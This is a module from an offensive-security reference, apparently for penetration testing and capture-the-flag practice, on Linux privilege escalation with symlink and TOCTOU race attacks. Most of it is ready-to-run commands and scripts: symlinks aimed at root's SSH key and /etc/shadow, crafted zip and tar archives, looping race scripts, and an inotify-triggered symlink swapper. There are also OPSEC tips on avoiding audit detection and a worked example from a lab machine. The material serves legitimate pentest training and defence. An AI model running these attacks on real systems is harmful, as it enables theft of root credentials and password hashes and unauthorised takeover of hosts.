Back to All Modules

Symlink and Race Conditions

#Overview

Symlink attacks exploit root-owned processes that follow symbolic links to read or write files in locations the low-privilege user cannot directly access. Race conditions (TOCTOU -- Time of Check to Time of Use) exploit the gap between when a privileged process checks a condition and when it acts on it. Both are precision attacks requiring an understanding of the target process's behavior.

#Prerequisites

  • A root-owned process that reads or writes to a location you control (writable directory)
  • For symlink attacks: ability to create symlinks in the controlled location
  • For race conditions: timing-sensitive exploit scripts (inotify, bash loops)

#Detection & Enumeration

# Find cron jobs that operate in writable directories
cat /etc/crontab
# Example: root runs: cat /tmp/status > /var/log/status.log

# Find root processes frequently touching files
ps aux | grep root

# Find writable directories used by root scripts
find / -writable -type d 2>/dev/null | grep -v 'proc\|sys'

# Find root-owned scripts that use relative paths or symlink-following tools
strings /usr/local/bin/root_script | grep -E "tar|cp|mv|cat|zip"

# Watch process activity (pspy)
./pspy64 -p -i 1000
BASH

#Exploitation / Execution

#Symlink Following: Root Write to Writable Directory

When a root process writes to a file in a directory you control:

# Scenario: root cron job does: cat /tmp/status > /tmp/report
# The /tmp directory is world-writable

# Create a symlink from the target file to a sensitive file
ln -s /root/.ssh/id_rsa /tmp/report

# When root's cron runs, it follows the symlink and overwrites
# /root/.ssh/id_rsa with the contents of /tmp/status

# Better: use the symlink to READ a sensitive file
# Scenario: root process does: cp /tmp/uploaded_file /opt/app/data/
# Create symlink: ln -s /etc/shadow /tmp/uploaded_file
# When root copies, we can read /opt/app/data/uploaded_file (now contains /etc/shadow)
BASH

Real example from Monitored: The getprofile.sh script (run via sudo) copied phpmailer.log from a writable directory:

rm /usr/local/nagiosxi/tmp/phpmailer.log
ln -s /root/.ssh/id_rsa /usr/local/nagiosxi/tmp/phpmailer.log
sudo /usr/local/nagiosxi/scripts/components/getprofile.sh 1
# Profile now contained root's SSH private key
BASH

#7zip Symlink Exploitation

# If root runs 7z on a user-controlled archive:
# Create an archive containing a symlink pointing to /etc/shadow or /root/.ssh/id_rsa
ln -s /etc/shadow symlink_file
zip --symlinks exploit.zip symlink_file

# When root extracts the archive (without --no-symlinks), the symlink is recreated
# pointing to the sensitive file on the filesystem
BASH

#Tar Symlink Following

# Create a tar archive with a symlink that points outside the extraction directory
mkdir exploit_dir
cd exploit_dir
ln -s /root/.ssh symlink_ssh
cd ..
tar -cf exploit.tar exploit_dir/

# When root extracts: tar -xf exploit.tar -C /tmp/
# The symlink /tmp/exploit_dir/symlink_ssh -> /root/.ssh is created
# Now we can read/write files through the symlink
BASH

#Cron Symlink + Root Writes

# If cron writes to a predictable path in a writable directory:
# 1. Set up an inotify watch for the directory
inotifywait -m /tmp/writable_dir/

# 2. Create a race script:
cat > /tmp/race.sh << 'EOF'
#!/bin/bash
while true; do
    ln -sf /tmp/placeholder /tmp/writable_dir/target_file
    ln -sf /root/.ssh/id_rsa /tmp/writable_dir/target_file
done
EOF
chmod +x /tmp/race.sh
# Run this in parallel with root's cron -- when the timing is right,
# root reads the symlink pointing to the SSH key instead
BASH

#TOCTOU Race Conditions

# Classic TOCTOU: root checks if file is safe, then uses it
# Script: if [ -f /tmp/upload ]; then cat /tmp/upload > ~/data/imported; fi

# 1. Create benign file
echo "benign" > /tmp/upload

# 2. Set up inotify to watch for access
# 3. Race script:
while true; do
    echo "benign" > /tmp/upload
    ln -sf /etc/shadow /tmp/upload
done

# If the race wins, root cats /etc/shadow into the world-readable imported file
BASH

#inotify-Based Race Helper

# Install inotify-tools if available
apt install inotify-tools 2>/dev/null

# Monitor a directory for specific events and trigger actions
inotifywait -m -e open -e access /path/to/monitor |
while read path action file; do
    # When a monitored file is accessed, race to change the symlink
    ln -sf /target/sensitive/file "$path/$file" 2>/dev/null
done &
BASH

#Common Pitfalls

  • Symlink following behavior varies by tool -- cp, cat, tar, and zip handle symlinks differently
  • Modern tar versions default to safety and refuse to extract absolute symlinks without --absolute-names
  • Race conditions are probabilistic -- they may require hundreds or thousands of attempts
  • The kernel's symlink protection (fs.protected_symlinks=1) prevents following symlinks in sticky directories
  • inotify may not be installed; fall back to polling loops
  • File writes by root may be atomic (create temp, rename) making symlink races impossible

#OPSEC Considerations

  • Symlink creation is logged if auditd monitors the specific directory.
  • Race condition exploit scripts running in loops generate high CPU and process event noise.
  • Successful symlink attacks to read /etc/shadow or SSH keys are detectable by file access audit rules.
  • inotify watches are visible in /proc/<PID>/fd and may be monitored.

#Post-Exploitation Value

Symlink attacks can exfiltrate root's SSH private key, read /etc/shadow for cracking, overwrite system binaries with backdoored versions, or redirect root's file operations to attacker-controlled locations. The specific value depends on what the root process reads or writes.

#Cross-References

#Tool References

ToolLink
inotify-toolsapt install inotify-tools
pspyhttps://github.com/DominicBreuker/pspy

#Source Machines

  • Monitored (Medium, Linux) - Symlink attack on getprofile.sh sudo script to extract root SSH key from /root/.ssh/id_rsa